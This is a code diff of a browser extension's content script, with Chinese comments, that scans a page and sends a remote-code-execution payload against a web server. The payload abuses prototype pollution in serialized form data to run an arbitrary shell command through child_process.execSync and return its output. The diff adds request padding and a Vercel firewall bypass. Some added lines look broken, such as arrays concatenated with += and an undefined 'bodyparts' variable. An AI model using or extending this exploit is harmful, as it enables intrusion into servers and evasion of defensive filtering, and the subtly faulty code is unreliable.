11// content.js
22
3+ // 12字符[a-z0-9]
4+ function shortRandString ( ) {
5+ return Math . random ( ) . toString ( 36 ) . substring ( 2 ) . padEnd ( 12 , '0' ) ;
6+ }
7+
8+ // 随机的base64长字符串,长度为 bytes 字符
9+ function longRandString ( bytes ) {
10+ const length = bytes ;
11+ const buf = new Uint8Array ( ( length * 3 + 2 ) / 4 ) ; // Base64 编码后长度是原来的 4/3
12+ crypto . getRandomValues ( buf ) ;
13+ return btoa ( String . fromCharCode ( ...buf ) ) . substring ( 0 , length ) ;
14+ }
15+
316// === 1. 被动检测 ===
417function performPassiveScan ( ) {
518 let score = 0 ;
@@ -45,16 +58,25 @@ async function performFingerprint() {
4558}
4659
4760// === 3. RCE 漏洞利用 ===
48- async function performExploit ( cmd ) {
49- // 默认命令
50- const targetCmd = cmd || "echo vulnerability_test" ;
51-
61+ async function performExploit ( { cmd = "echo vulnerability_test" , pad = 0 , bypassVercel = false } = { } ) {
5262 // 构造 Payload,动态插入命令
5363 // 注意:这里需要处理 JS 转义,简单起见直接替换
5464 // Payload 逻辑: execSync('YOUR_CMD').toString().trim()
55- const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${ targetCmd } ').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}` ;
56- const boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad" ;
57- const bodyParts = [
65+ // pad, vercel WAF bypass 逻辑来自 https://github.com/assetnote/react2shell-scanner
66+ const formData = bypassVercel ? '"get":"$3:\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}' ;
67+ const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('${ cmd } ').toString('base64');throw Object.assign(new Error('x'),{digest: res});","_chunks":"$Q2","_formData":${ formData } }}` ;
68+ const boundary = `----WebKitFormBoundaryO2WP${ shortRandString ( ) } ` ;
69+ let form = [ ] ;
70+ if ( pad > 0 ) {
71+ form += [
72+ `--${ boundary } ` ,
73+ `Content-Disposition: form-data; name="${ shortRandString ( ) } "` ,
74+ '' ,
75+ longRandString ( pad * 1024 ) ,
76+ `--${ boundary } ` ,
77+ ] ;
78+ }
79+ form += [
5880 `--${ boundary } ` ,
5981 'Content-Disposition: form-data; name="0"' ,
6082 '' ,
@@ -69,7 +91,16 @@ async function performExploit(cmd) {
6991 '[]' ,
7092 `--${ boundary } --` ,
7193 ''
72- ] . join ( '\r\n' ) ;
94+ ]
95+ if ( bypassVercel ) {
96+ bodyparts += [
97+ 'Content-Disposition: form-data; name="3"' ,
98+ '' ,
99+ '{{"\\"\u0024\u0024":{{}}}}' ,
100+ `--${ boundary } ` ,
101+ ]
102+ }
103+ const bodyParts = form . join ( '\r\n' ) ;
73104
74105 const targetUrl = "/adfa" ; // 使用相对路径
75106
@@ -143,7 +174,7 @@ chrome.runtime.onMessage.addListener((req, sender, sendResponse) => {
143174 return true ;
144175 }
145176 if ( req . action === "run_exploit" ) {
146- performExploit ( req . cmd ) . then ( res => sendResponse ( res ) ) ;
177+ performExploit ( req ) . then ( res => sendResponse ( res ) ) ;
147178 return true ;
148179 }
149180} ) ;
0 commit comments